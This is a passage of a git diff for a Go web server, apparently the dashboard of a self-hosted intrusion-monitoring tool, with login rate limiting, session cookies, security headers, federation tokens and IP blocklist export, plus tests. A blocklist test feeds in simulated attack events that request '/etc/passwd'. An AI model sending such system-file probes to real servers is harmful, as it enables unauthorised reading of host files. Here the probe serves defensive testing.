"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" +) + +// Once a client is blocked, parallel wrong attempts must not run at full +// speed: only one waits (progressively delayed), the others get 429 at once, +// and the correct token still opens the dashboard. +func TestBlockedClientIsSerializedAndAdminStillGetsIn(t *testing.T) { + old, oldMax := loginBlockedDelay, maxBlockedDelay + loginBlockedDelay, maxBlockedDelay = 40*time.Millisecond, 200*time.Millisecond + defer func() { loginBlockedDelay, maxBlockedDelay = old, oldMax }() + h, _ := setup(t) + auth := func(tok string) int { + return do(h, "GET", "/api/v1/summary", map[string]string{"Authorization": "Bearer " + tok, "X-Remote": "203.0.113.77:1"}, nil).Code + } + for i := 0; i < loginMax; i++ { + auth("wrong-guess") + } + var slow atomic.Int32 + var wg sync.WaitGroup + start := time.Now() + for i := 0; i < 50; i++ { + wg.Add(1) + go func() { + defer wg.Done() + t0 := time.Now() + if c := auth("wrong-guess"); c != http.StatusTooManyRequests { + t.Errorf("blocked wrong attempt: %d", c) + } + if time.Since(t0) >= loginBlockedDelay/2 { + slow.Add(1) + } + }() + } + wg.Wait() + if n := slow.Load(); n > 3 { + t.Fatalf("%d parallel wrong attempts were evaluated slowly; only one at a time should wait", n) + } + if time.Since(start) > 5*time.Second { + t.Fatal("parallel attempts must not pile up delays") + } + if c := auth(utok); c != 200 { + t.Fatalf("the correct token must still be accepted while the client is blocked: %d", c) + } +} + +func TestPenaltyGrowsAndIsCapped(t *testing.T) { + old := loginBlockedDelay + loginBlockedDelay = time.Second + defer func() { loginBlockedDelay = old }() + l := newLimiter() + var last time.Duration + for i := 0; i < loginMax+20; i++ { + l.failure("203.0.113.9") + p := l.penalty("203.0.113.9") + if p < last { + t.Fatalf("penalty must not shrink: %v after %v", p, last) + } + last = p + } + if last != maxBlockedDelay { + t.Fatalf("penalty cap: %v", last) + } + if n := len(l.fail[limiterKey("203.0.113.9")]); n > maxFailKept { + t.Fatalf("timestamps per client must be bounded: %d", n) + } +} + +func TestBlocklistFamilyFilter(t *testing.T) { + st := store.New(store.Config{Name: "oracle", Version: "test"}) + now := time.Now() + for i := 0; i < 30; i++ { + for _, ip := range []string{"45.94.31.4", "2a01:4f8:1:2::99"} { + st.Ingest(core.Event{Time: now, IP: ip, Cat: core.Exploit, Strong: true, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/etc/passwd", Status: 404}) + } + } + h := New(Options{Token: utok, Version: "test", Store: st}) + get := func(q string) string { + return do(h, "GET", "/api/v1/blocklist.txt"+q, map[string]string{"Authorization": "Bearer " + utok}, nil).Body.String() + } + all, v4, v6 := get("?min_score=1"), get("?min_score=1&family=4"), get("?min_score=1&family=6") + if !strings.Contains(all, "45.94.31.4") || !strings.Contains(all, "::/64") { + t.Fatalf("default lists both families: %q", all) + } + if v4 != "45.94.31.4\n" { + t.Fatalf("family=4 must be plain IPv4 only (ipset hash:ip): %q", v4) + } + if strings.Contains(v6, "45.94.31.4") || !strings.Contains(v6, "::/64") { + t.Fatalf("family=6: %q", v6) + } +} diff --git a/internal/server/server.go b/internal/server/server.go new file mode 100644 index 0000000..24aa8e1 --- /dev/null +++ b/internal/server/server.go @@ -0,0 +1,701 @@ +// Package server exposes the dashboard and the JSON API. +package server + +import ( + "context" + "embed" + "encoding/json" + "fmt" + "io/fs" + "net" + "net/http" + "net/netip" + "net/url" + "sort" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" +) + +//go:embed web +var webFS embed.FS + +// maxSSE bounds the simultaneous live streams. +const maxSSE = 20 + +// sseHeartbeat is how often a live stream pings and revalidates its session. +var sseHeartbeat = 20 * time.Second + +// loginBlockedDelay is the fixed delay applied to login attempts from a blocked client. +var loginBlockedDelay = time.Second + +// HTTPServer wraps a handler with the timeouts and limits of the daemon. The +// SSE handler lifts the write deadline of its own connection. +func HTTPServer(h http.Handler, base context.Context) *http.Server { + return &http.Server{Handler: h, ReadHeaderTimeout: 10 * time.Second, ReadTimeout: 30 * time.Second, + WriteTimeout: 30 * time.Second, IdleTimeout: 120 * time.Second, MaxHeaderBytes: 16 << 10, + BaseContext: func(net.Listener) context.Context { return base }} +} + +// Options configure the handler. +type Options struct { + Token string + // PeerTokens are the federation tokens accepted by /api/v1/peer/export. + PeerTokens []string + // Ignore lists networks that must never appear in the blocklist (ignore + trusted). + Ignore []netip.Prefix + // AllowHosts: with NoAuth, only requests whose Host is one of these are served + // (anti DNS rebinding). + AllowHosts []string + // PeerAllow, when not empty, restricts /api/v1/peer/export to these source + // networks. TrustedProxy lists the reverse proxies whose X-Forwarded-For is believed. + PeerAllow []netip.Prefix + TrustedProxy []netip.Prefix + NoAuth bool + Version string + Store *store.Store + Hub *fed.Hub + Now func() time.Time +} + +// Server is the HTTP handler. +type Server struct { + sse atomic.Int32 + exp exportCache + opt Options + ses *sessions + lim *limiter + mux *http.ServeMux + assets fs.FS +} + +// New builds the handler. +func New(opt Options) http.Handler { + if opt.Now == nil { + opt.Now = time.Now + } + sub, _ := fs.Sub(webFS, "web") + s := &Server{opt: opt, ses: newSessions(), lim: newLimiter(), mux: http.NewServeMux(), assets: sub} + m := s.mux + m.HandleFunc("GET /api/health", s.health) + m.HandleFunc("GET /login", s.loginPage) + m.HandleFunc("POST /login", s.login) + m.HandleFunc("POST /logout", s.logout) + m.HandleFunc("GET /{$}", s.index) + for _, f := range []string{"/style.css", "/app.js", "/i18n.js", "/login.js", "/logo.png", "/favicon.png", "/world.js"} { + name := strings.TrimPrefix(f, "/") + m.HandleFunc("GET "+f, func(w http.ResponseWriter, r *http.Request) { s.static(w, r, name) }) + } + m.HandleFunc("GET /api/v1/peer/export", s.peerExport) + m.HandleFunc("GET /api/v1/summary", s.api(s.summary)) + m.HandleFunc("GET /api/v1/traffic", s.api(s.traffic)) + m.HandleFunc("GET /api/v1/ips", s.api(s.ips)) + m.HandleFunc("GET /api/v1/ip/{ip}", s.api(s.ipDetail)) + m.HandleFunc("GET /api/v1/events/stream", s.api(s.stream)) + m.HandleFunc("GET /api/v1/blocklist.txt", s.api(s.blocklist(false))) + m.HandleFunc("GET /api/v1/blocklist.json", s.api(s.blocklist(true))) + return s.headers(m) +} + +func (s *Server) headers(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if s.opt.NoAuth && !hostAllowed(r.Host, s.opt.AllowHosts) { + http.Error(w, "host not allowed", http.StatusForbidden) // DNS rebinding guard + return + } + h := w.Header() + h.Set("Content-Security-Policy", "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'") + h.Set("X-Content-Type-Options", "nosniff") + h.Set("X-Frame-Options", "DENY") + h.Set("Referrer-Policy", "same-origin") + h.Set("Cross-Origin-Opener-Policy", "same-origin") + h.Set("Cross-Origin-Resource-Policy", "same-origin") + h.Set("Permissions-Policy", "camera=(), microphone=(), geolocation=()") + if isHTTPS(r) { + h.Set("Strict-Transport-Security", "max-age=31536000") + } + next.ServeHTTP(w, r) + }) +} + +func writeJSON(w http.ResponseWriter, code int, v any) { + w.Header().Set("Content-Type", "application/json; charset=utf-8") + w.Header().Set("Cache-Control", "no-store") + w.WriteHeader(code) + json.NewEncoder(w).Encode(v) +} + +func (s *Server) health(w http.ResponseWriter, r *http.Request) { + writeJSON(w, 200, map[string]string{"status": "ok"}) +} + +// authKind returns "session" or "bearer" for a valid user credential (cookie or +// URUTAU_TOKEN), "peer" for the federation token, "" otherwise. +func (s *Server) authKind(r *http.Request) string { + if s.opt.NoAuth { + return "session" + } + if a := r.Header.Get("Authorization"); strings.HasPrefix(a, "Bearer ") { + tok := strings.TrimSpace(a[7:]) + if tokenEqual(tok, s.opt.Token) { + return "bearer" + } + if s.peerTokenOK(tok) { + return "peer" + } + return "" + } + if c, err := r.Cookie(cookieName); err == nil && s.ses.valid(c.Value, s.opt.Now()) { + return "session" + } + return "" +} + +func (s *Server) peerTokenOK(tok string) bool { + ok := false + for _, t := range s.opt.PeerTokens { // no early exit: constant work per token + if tokenEqual(tok, t) { + ok = true + } + } + return ok +} + +// api wraps a user endpoint: only a session or URUTAU_TOKEN opens it. The peer +// token is refused with 403 (it is a valid credential, for another route). +func (s *Server) api(h http.HandlerFunc) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + switch s.authKind(r) { + case "session", "bearer": + case "peer": + writeJSON(w, http.StatusForbidden, map[string]string{"error": "the peer token only opens /api/v1/peer/export"}) + return + default: + ip := clientIP(r, s.opt.TrustedProxy) + wait := s.lim.blocked(ip) + if strings.HasPrefix(r.Header.Get("Authorization"), "Bearer ") { + delay := s.lim.penalty(ip) // measured before this failure is counted + s.lim.failure(ip) // guessing the token on the API counts like on the login form + if wait > 0 { + s.slowFail(ip, delay) + } + } + if wait = s.lim.blocked(ip); wait > 0 { + w.Header().Set("Retry-After", strconv.Itoa(int(wait.Seconds())+1)) + writeJSON(w, http.StatusTooManyRequests, map[string]string{"error": "too many attempts"}) + return + } + w.Header().Set("WWW-Authenticate", `Bearer realm="urutau"`) + writeJSON(w, http.StatusUnauthorized, map[string]string{"error": "unauthorized"}) + return + } + w.Header().Set("Cache-Control", "no-store") + h(w, r) + } +} + +// slowFail delays a wrong attempt of a blocked client. Only one attempt per +// client waits at a time; concurrent ones return at once (and get 429), so +// parallel requests do not multiply the guessing rate. +func (s *Server) slowFail(ip string, d time.Duration) { + release, ok := s.lim.acquire(ip) + if !ok { + return + } + defer release() + if d > 0 { + time.Sleep(d) + } +} + +type exportCache struct { + mu sync.Mutex + at map[string]time.Time + v map[string][]byte +} + +// peerExport is the only route the peer token opens: GET /api/v1/peer/export. +func (s *Server) peerExport(w http.ResponseWriter, r *http.Request) { + if len(s.opt.PeerTokens) == 0 && !s.opt.NoAuth { + writeJSON(w, http.StatusNotFound, map[string]string{"error": "federation is not enabled"}) + return + } + if len(s.opt.PeerAllow) > 0 { + a, err := netip.ParseAddr(clientIP(r, s.opt.TrustedProxy)) + if err != nil || !prefixesContain(s.opt.PeerAllow, a) { + writeJSON(w, http.StatusForbidden, map[string]string{"error": "source not allowed"}) + return + } + } + if !s.opt.NoAuth && s.authKind(r) != "peer" { + if strings.HasPrefix(r.Header.Get("Authorization"), "Bearer ") { + s.lim.failure(clientIP(r, s.opt.TrustedProxy)) + } + w.Header().Set("WWW-Authenticate", `Bearer realm="urutau-peer"`) + writeJSON(w, http.StatusUnauthorized, map[string]string{"error": "unauthorized"}) + return + } + rg := store.ParseRange(r.URL.Query().Get("range")).Name + s.exp.mu.Lock() + if s.exp.v == nil { + s.exp.v, s.exp.at = map[string][]byte{}, map[string]time.Time{} + } + b, ok := s.exp.v[rg] + if !ok || time.Since(s.exp.at[rg]) > 5*time.Second { + b, _ = json.Marshal(s.opt.Store.Export(rg)) + s.exp.v[rg], s.exp.at[rg] = b, time.Now() + } + s.exp.mu.Unlock() + w.Header().Set("Content-Type", "application/json; charset=utf-8") + w.Header().Set("Cache-Control", "no-store") + w.Write(b) +} + +func prefixesContain(ps []netip.Prefix, a netip.Addr) bool { + a = a.Unmap() + for _, p := range ps { + if p.Contains(a) { + return true + } + } + return false +} + +func (s *Server) static(w http.ResponseWriter, r *http.Request, name string) { + b, err := fs.ReadFile(s.assets, name) + if err != nil { + http.NotFound(w, r) + return + } + ct := "application/octet-stream" + switch { + case strings.HasSuffix(name, ".css"): + ct = "text/css; charset=utf-8" + case strings.HasSuffix(name, ".js"): + ct = "text/javascript; charset=utf-8" + case strings.HasSuffix(name, ".png"): + ct = "image/png" + case strings.HasSuffix(name, ".html"): + ct = "text/html; charset=utf-8" + } + w.Header().Set("Content-Type", ct) + w.Header().Set("Cache-Control", "no-cache") + w.Write(b) +} + +func (s *Server) index(w http.ResponseWriter, r *http.Request) { + if s.authKind(r) == "" { + http.Redirect(w, r, "/login", http.StatusSeeOther) + return + } + s.static(w, r, "index.html") +} + +func (s *Server) loginPage(w http.ResponseWriter, r *http.Request) { + if s.authKind(r) != "" { + http.Redirect(w, r, "/", http.StatusSeeOther) + return + } + s.static(w, r, "login.html") +} + +// sameOrigin rejects cross-site form posts: browsers send Sec-Fetch-Site and +// Origin; SameSite=Strict on the cookie is the first line, this is the second. +func sameOrigin(r *http.Request) bool { + switch r.Header.Get("Sec-Fetch-Site") { + case "cross-site": + return false + case "same-origin": + return true // browsers that send Fetch Metadata state it reliably + } + if o := r.Header.Get("Origin"); o != "" { + u, err := url.Parse(o) + if err != nil || u.Host == "" || !strings.EqualFold(u.Host, r.Host) { + return false + } + } + return true +} + +func (s *Server) login(w http.ResponseWriter, r *http.Request) { + if !sameOrigin(r) { + http.Error(w, "cross-site request refused", http.StatusForbidden) + return + } + ip := clientIP(r, s.opt.TrustedProxy) + r.Body = http.MaxBytesReader(w, r.Body, 4096) + if err := r.ParseForm(); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + // The correct token is always accepted at once, so an attacker who burns + // the limit cannot lock the administrator out. Guessing stays infeasible: + // tokens carry at least 128 bits (checkToken). Wrong attempts of a blocked + // client are serialized and progressively delayed (s.slowFail). + if s.opt.NoAuth || !tokenEqual(r.PostForm.Get("token"), s.opt.Token) { + wait := s.lim.blocked(ip) + delay := s.lim.penalty(ip) // measured before this failure is counted + s.lim.failure(ip) + if wait > 0 { + s.slowFail(ip, delay) + w.Header().Set("Retry-After", strconv.Itoa(int(wait.Seconds())+1)) + w.Header().Set("Content-Type", "text/html; charset=utf-8") + w.Header().Set("Cache-Control", "no-store") + w.WriteHeader(http.StatusTooManyRequests) + if b, err := fs.ReadFile(s.assets, "login.html"); err == nil { + w.Write(b) + } + return + } + http.Redirect(w, r, "/login?e=bad", http.StatusSeeOther) + return + } + s.lim.reset(ip) + val, exp := s.ses.issue(s.opt.Now()) + http.SetCookie(w, &http.Cookie{Name: cookieName, Value: val, Path: "/", Expires: exp, MaxAge: int(sessionTTL.Seconds()), + HttpOnly: true, Secure: isHTTPS(r), SameSite: http.SameSiteStrictMode}) + http.Redirect(w, r, "/", http.StatusSeeOther) +} + +func (s *Server) logout(w http.ResponseWriter, r *http.Request) { + if !sameOrigin(r) { + http.Error(w, "cross-site request refused", http.StatusForbidden) + return + } + if c, err := r.Cookie(cookieName); err == nil { + s.ses.revoke(c.Value) + } + http.SetCookie(w, &http.Cookie{Name: cookieName, Value: "", Path: "/", MaxAge: -1, HttpOnly: true, + Secure: isHTTPS(r), SameSite: http.SameSiteStrictMode}) + http.Redirect(w, r, "/login", http.StatusSeeOther) +} + +// hostSel is the "host" query parameter resolved. +func (s *Server) parts(rangeName, host string) (parts []store.Summary, all []store.HostInfo) { + self := s.opt.Store.Name() + local := s.opt.Store.Summary(rangeName) + all = append(all, local.Hosts...) + if s.opt.Hub != nil { + all = append(all, s.opt.Hub.Hosts()...) + } + if host == "" || host == "all" || host == self { + parts = append(parts, local) + } + if s.opt.Hub != nil && host != self { + only := "" + if host != "" && host != "all" { + only = host + } + parts = append(parts, s.opt.Hub.Summaries(rangeName, only)...) + } + return +} + +func (s *Server) summary(w http.ResponseWriter, r *http.Request) { + q := r.URL.Query() + rg := store.ParseRange(q.Get("range")).Name + host := q.Get("host") + if host == "" { + host = "all" + } + if host != "all" && host != s.opt.Store.Name() && (s.opt.Hub == nil || !s.opt.Hub.Has(host)) { + writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"}) + return + } + parts, hosts := s.parts(rg, host) + var out store.Summary + switch len(parts) { + case 0: + out = store.Summary{Version: s.opt.Version, Host: host, Range: rg, Generated: s.opt.Now().Unix()} + default: + out = store.Merge(host, parts) + } + out.Hosts = hosts + // Peers' sources are in the merge; keep a stable order: by host then name. + sort.SliceStable(out.Sources, func(i, j int) bool { + if out.Sources[i].Host != out.Sources[j].Host { + return out.Sources[i].Host < out.Sources[j].Host + } + return out.Sources[i].Name < out.Sources[j].Name + }) + writeJSON(w, 200, out) +} + +// allIPs returns the merged IP table for the requested host selection. +func (s *Server) allIPs(rangeName, host string) []store.IPSummary { + rg := store.ParseRange(rangeName) + var lists [][]store.IPSummary + self := s.opt.Store.Name() + if host == "" || host == "all" || host == self { + lists = append(lists, s.opt.Store.AllIPs(rg, false)) + } + if s.opt.Hub != nil && host != self { + only := "" + if host != "" && host != "all" { + only = host + } + for _, p := range s.opt.Hub.Summaries(rg.Name, only) { + lists = append(lists, p.IPs) + } + } + return store.MergeIPs(lists...) +} + +func (s *Server) ips(w http.ResponseWriter, r *http.Request) { + q := r.URL.Query() + list := s.allIPs(q.Get("range"), q.Get("host")) + minScore, _ := strconv.ParseFloat(q.Get("min_score"), 64) + level, needle := q.Get("level"), strings.ToLower(strings.TrimSpace(q.Get("q"))) + banned := q.Get("banned") == "1" + filtered := list[:0:0] + for _, x := range list { + if x.Score < minScore || (level != "" && string(x.Level) != level) || (banned && !x.Banned) { + continue + } + if needle != "" && !strings.Contains(x.IP, needle) && !strings.Contains(strings.ToLower(x.RDNS), needle) { + continue + } + filtered = append(filtered, x) + } + switch q.Get("sort") { + case "score", "last", "first", "events", "ip": + store.SortIPs(filtered, q.Get("sort"), q.Get("order") != "asc") + } + per, _ := strconv.Atoi(q.Get("per")) + if per < 1 || per > 200 { + per = 50 + } + page, _ := strconv.Atoi(q.Get("page")) + if page < 1 { + page = 1 + } + if page > 100000 { + page = 100000 + } + from := (page - 1) * per + if from > len(filtered) { + from = len(filtered) + } + to := from + per + if to > len(filtered) { + to = len(filtered) + } + items := filtered[from:to] + for i := range items { + s.opt.Store.Enrich(&items[i]) + if items[i].RDNS == "" { + items[i].RDNS = s.opt.Store.RDNSOf(items[i].IP) + } + } + writeJSON(w, 200, map[string]any{"total": len(filtered), "page": page, "per": per, "items": items}) +} + +func (s *Server) ipDetail(w http.ResponseWriter, r *http.Request) { + raw := r.PathValue("ip") + if _, ok := blockAddr(raw); !ok { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "invalid ip"}) + return + } + ip := store.KeyOf(raw) + var lists [][]store.IPSummary + if d, ok := s.opt.Store.IP(ip); ok { + lists = append(lists, []store.IPSummary{d}) + } + if s.opt.Hub != nil { + lists = append(lists, s.opt.Hub.IPDetail(ip)) + } + m := store.MergeIPs(lists...) + if len(m) == 0 { + writeJSON(w, http.StatusNotFound, map[string]string{"error": "not found"}) + return + } + writeJSON(w, 200, m[0]) +} + +func (s *Server) stream(w http.ResponseWriter, r *http.Request) { + fl, ok := w.(http.Flusher) + if !ok { + http.Error(w, "streaming unsupported", 500) + return + } + if s.sse.Add(1) > maxSSE { + s.sse.Add(-1) + w.Header().Set("Retry-After", "10") + http.Error(w, "too many live streams", http.StatusServiceUnavailable) + return + } + defer s.sse.Add(-1) + rc := http.NewResponseController(w) + _ = rc.SetWriteDeadline(time.Time{}) + h := w.Header() + h.Set("Content-Type", "text/event-stream") + h.Set("Cache-Control", "no-store") + h.Set("X-Accel-Buffering", "no") + ch, stop := s.opt.Store.Subscribe() + defer stop() + fmt.Fprint(w, "retry: 3000\n: connected\n\n") + fl.Flush() + tick := time.NewTicker(sseHeartbeat) + defer tick.Stop() + for { + select { + case <-r.Context().Done(): + return + case <-tick.C: + if k := s.authKind(r); k != "session" && k != "bearer" { + return // the session expired or was revoked: close the stream + } + if _, err := fmt.Fprint(w, ": ping\n\n"); err != nil { + return + } + fl.Flush() + case e := <-ch: + if k := s.authKind(r); k != "session" && k != "bearer" { + return + } + b, _ := json.Marshal(e) + if _, err := fmt.Fprintf(w, "event: ev\ndata: %s\n\n", b); err != nil { + return + } + fl.Flush() + } + } +} + +func (s *Server) blocklist(asJSON bool) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + q := r.URL.Query() + min := 50.0 + if v, err := strconv.ParseFloat(q.Get("min_score"), 64); err == nil && v >= 0 { + min = v + } + rangeName := q.Get("range") + if rangeName == "" { + rangeName = "7d" + } + // family=4 gives plain IPv4 addresses only (for ipset hash:ip and similar); + // family=6 gives only the IPv6 /64 prefixes; the default lists both. + family := q.Get("family") + if family != "4" && family != "6" { + family = "all" + } + var out []store.IPSummary + for _, x := range s.allIPs(rangeName, q.Get("host")) { + if x.Score < min || !x.Strong || x.Admin { + continue + } + // every row is revalidated here, whatever its origin (a peer included) + addr, ok := blockAddr(x.IP) + if !ok || !core.IsGlobal(addr) || core.Ignored(s.opt.Ignore, addr.String()) { + continue + } + if (family == "4" && !addr.Is4()) || (family == "6" && addr.Is4()) { + continue + } + out = append(out, x) + } + if q.Get("download") == "1" { + ext := "txt" + if asJSON { + ext = "json" + } + w.Header().Set("Content-Disposition", `attachment; filename="urutau-blocklist.`+ext+`"`) + } + if asJSON { + type row struct { + IP string `json:"ip"` + Score float64 `json:"score"` + Last int64 `json:"last"` + Hosts []string `json:"hosts"` + CC string `json:"cc,omitempty"` + Country string `json:"country,omitempty"` + City string `json:"city,omitempty"` + ASN uint32 `json:"asn,omitempty"` + ASOrg string `json:"as_org,omitempty"` + } + rows := make([]row, 0, len(out)) + for _, x := range out { + s.opt.Store.Enrich(&x) + rows = append(rows, row{x.IP, x.Score, x.Last, x.Hosts, x.CC, x.Country, x.City, x.ASN, x.ASOrg}) + } + writeJSON(w, 200, map[string]any{"generated": s.opt.Now().Unix(), "min_score": min, "count": len(rows), "ips": rows}) + return + } + w.Header().Set("Content-Type", "text/plain; charset=utf-8") + var b strings.Builder + for _, x := range out { + b.WriteString(x.IP) + b.WriteByte('\n') + } + w.Write([]byte(b.String())) + } +} + +func (s *Server) traffic(w http.ResponseWriter, r *http.Request) { + q := r.URL.Query() + rg := store.ParseRange(q.Get("range")).Name + domain := q.Get("domain") + if domain == "" { + domain = "all" + } + host := q.Get("host") + if host == "" { + host = "all" + } + self := s.opt.Store.Name() + if host != "all" && host != self && (s.opt.Hub == nil || !s.opt.Hub.Has(host)) { + writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"}) + return + } + var parts []store.TrafficData + if host == "all" || host == self { + parts = append(parts, s.opt.Store.TrafficSummary(rg, domain)) + } + if s.opt.Hub != nil && host != self { + only := "" + if host != "all" { + only = host + } + parts = append(parts, s.opt.Hub.Traffic(rg, domain, only)...) + } + out := store.MergeTraffic(host, parts) + out.Domain = domain + writeJSON(w, 200, out) +} + +// blockAddr parses a table key (address or IPv6 /64 prefix) into the address +// that represents it. Zones and garbage are refused. +func blockAddr(key string) (netip.Addr, bool) { + if a, err := netip.ParseAddr(key); err == nil { + return a, a.Zone() == "" + } + if p, err := netip.ParsePrefix(key); err == nil && p.Addr().Is6() && p.Bits() == 64 && p.Addr().Zone() == "" { + return p.Addr(), true + } + return netip.Addr{}, false +} + +// hostAllowed checks the Host header against loopback names and the extra list. +func hostAllowed(host string, extra []string) bool { + h := strings.ToLower(host) + if i := strings.LastIndexByte(h, ':'); i >= 0 && !strings.HasSuffix(h, "]") { + h = h[:i] + } + h = strings.Trim(h, "[]") + switch h { + case "localhost", "127.0.0.1", "::1": + return true + } + for _, e := range extra { + if h == strings.ToLower(e) { + return true + } + } + return false +} diff --git a/internal/server/server_test.go b/internal/server/server_test.go new file mode 100644 index 0000000..5ae6a51 --- /dev/null +++ b/internal/server/server_test.go @@ -0,0 +1,494 @@ +package server + +import ( + "context" + "fmt" + "net/http" + "net/http/httptest" + "net/netip" + "net/url" + "strings" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" +) + +func setup(t *testing.T) (http.Handler, *store.Store) { + st := store.New(store.Config{Name: "oracle", Version: "test"}) + st.Ingest(core.Event{Time: time.Now(), IP: "45.94.31.4", Cat: core.Exploit, Strong: true, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/"}) + h := New(Options{Token: "user-token-0123456789-abcdefghijklmnop", PeerTokens: []string{"peer-token-0123456789-abcdefghijklmnopq"}, Version: "test", Store: st}) + return h, st +} + +func do(h http.Handler, method, path string, hdr map[string]string, form url.Values) *httptest.ResponseRecorder { + var body *strings.Reader + if form != nil { + body = strings.NewReader(form.Encode()) + } else { + body = strings.NewReader("") + } + r := httptest.NewRequest(method, path, body) + r.RemoteAddr = "198.51.100.1:1234" + if v, ok := hdr["X-Remote"]; ok { + r.RemoteAddr = v + delete(hdr, "X-Remote") + } + if form != nil { + r.Header.Set("Content-Type", "application/x-www-form-urlencoded") + } + for k, v := range hdr { + r.Header.Set(k, v) + } + w := httptest.NewRecorder() + h.ServeHTTP(w, r) + return w +} + +func TestHealthOpenAndAPIClosed(t *testing.T) { + h, _ := setup(t) + if w := do(h, "GET", "/api/health", nil, nil); w.Code != 200 || !strings.Contains(w.Body.String(), `"status":"ok"`) { + t.Fatalf("health %d %s", w.Code, w.Body) + } + wrongN := 0 + for _, p := range []string{"/api/v1/summary", "/api/v1/ips", "/api/v1/ip/45.94.31.4", "/api/v1/blocklist.txt", "/api/v1/events/stream"} { + if w := do(h, "GET", p, nil, nil); w.Code != 401 { + t.Errorf("%s without auth: %d", p, w.Code) + } + wrongN++ + if w := do(h, "GET", p, map[string]string{"Authorization": "Bearer wrong", "X-Remote": fmt.Sprintf("198.51.100.%d:1", wrongN)}, nil); w.Code != 401 { + t.Errorf("%s wrong token: %d", p, w.Code) + } + } + if w := do(h, "GET", "/", nil, nil); w.Code != 303 || w.Header().Get("Location") != "/login" { + t.Fatalf("index unauth: %d", w.Code) + } + w := do(h, "GET", "/api/health", nil, nil) + csp := w.Header().Get("Content-Security-Policy") + if !strings.Contains(csp, "default-src 'self'") || strings.Contains(csp, "unsafe-inline") || !strings.Contains(csp, "frame-ancestors 'none'") || + w.Header().Get("X-Content-Type-Options") != "nosniff" || w.Header().Get("Referrer-Policy") == "" { + t.Fatalf("headers: %v", w.Header()) + } +} + +func TestBearerAndPeerToken(t *testing.T) { + h, _ := setup(t) + auth := map[string]string{"Authorization": "Bearer user-token-0123456789-abcdefghijklmnop"} + if w := do(h, "GET", "/api/v1/summary?range=1h", auth, nil); w.Code != 200 || !strings.Contains(w.Body.String(), "45.94.31.4") { + t.Fatalf("summary %d %s", w.Code, w.Body) + } + if w := do(h, "GET", "/api/v1/ip/45.94.31.4", auth, nil); w.Code != 200 || !strings.Contains(w.Body.String(), `"level":"low"`) { + t.Fatalf("ip %d %s", w.Code, w.Body) + } + if w := do(h, "GET", "/api/v1/ip/not-an-ip", auth, nil); w.Code != 400 { + t.Fatal("bad ip") + } + if w := do(h, "GET", "/api/v1/ip/198.18.0.1", auth, nil); w.Code != 404 { + t.Fatal("unknown ip") + } + if w := do(h, "GET", "/api/v1/blocklist.txt?min_score=5", auth, nil); w.Code != 200 || strings.TrimSpace(w.Body.String()) != "45.94.31.4" { + t.Fatalf("blocklist %q", w.Body) + } + if w := do(h, "GET", "/api/v1/blocklist.txt", auth, nil); strings.TrimSpace(w.Body.String()) != "" { + t.Fatalf("score 8 must not pass min 50: %q", w.Body) + } + if w := do(h, "GET", "/api/v1/summary?host=nope", auth, nil); w.Code != 404 { + t.Fatalf("unknown host %d", w.Code) + } +} + +func TestLoginCookieAndRateLimit(t *testing.T) { + loginBlockedDelay = 0 + h, _ := setup(t) + bad := url.Values{"token": {"nope"}} + for i := 0; i < 5; i++ { + if w := do(h, "POST", "/login", nil, bad); w.Code != 303 || !strings.Contains(w.Header().Get("Location"), "e=bad") { + t.Fatalf("try %d: %d %s", i, w.Code, w.Header().Get("Location")) + } + } + // blocked: a wrong token gets 429 ... + w := do(h, "POST", "/login", nil, bad) + if w.Code != http.StatusTooManyRequests || w.Header().Get("Retry-After") == "" || w.Header().Get("Set-Cookie") != "" { + t.Fatalf("blocked client with a wrong token: %d %v", w.Code, w.Header()) + } + // ... but the correct token still signs the administrator in + w = do(h, "POST", "/login", nil, url.Values{"token": {"user-token-0123456789-abcdefghijklmnop"}}) + if w.Code != 303 || w.Header().Get("Location") != "/" || w.Header().Get("Set-Cookie") == "" { + t.Fatalf("the admin must not be locked out by an attacker burning the limit: %d %v", w.Code, w.Header()) + } + // another IP is not affected; HTTPS via proxy header sets Secure + r := httptest.NewRequest("POST", "/login", strings.NewReader("token=user-token-0123456789-abcdefghijklmnop")) + r.RemoteAddr = "198.51.100.77:1" + r.Header.Set("Content-Type", "application/x-www-form-urlencoded") + r.Header.Set("X-Forwarded-Proto", "https") + rec := httptest.NewRecorder() + h.ServeHTTP(rec, r) + if rec.Code != 303 || rec.Header().Get("Location") != "/" { + t.Fatalf("login %d %s", rec.Code, rec.Header().Get("Location")) + } + ck := rec.Result().Cookies() + if len(ck) != 1 || !ck[0].HttpOnly || !ck[0].Secure || ck[0].SameSite != http.SameSiteStrictMode || ck[0].MaxAge != 12*3600 { + t.Fatalf("cookie %+v", ck) + } + c := ck[0].Name + "=" + ck[0].Value + if w := do(h, "GET", "/api/v1/summary", map[string]string{"Cookie": c}, nil); w.Code != 200 { + t.Fatalf("cookie auth %d", w.Code) + } + if w := do(h, "GET", "/", map[string]string{"Cookie": c}, nil); w.Code != 200 { + t.Fatalf("index with cookie %d", w.Code) + } + tampered := ck[0].Name + "=" + ck[0].Value[:len(ck[0].Value)-3] + "xxx" + if w := do(h, "GET", "/api/v1/summary", map[string]string{"Cookie": tampered}, nil); w.Code != 401 { + t.Fatalf("tampered cookie accepted: %d", w.Code) + } + // logout revokes the session server side: the stolen cookie stops working + if w := do(h, "POST", "/logout", map[string]string{"Cookie": c}, url.Values{}); w.Code != 303 { + t.Fatalf("logout %d", w.Code) + } + if w := do(h, "GET", "/api/v1/summary", map[string]string{"Cookie": c}, nil); w.Code != 401 { + 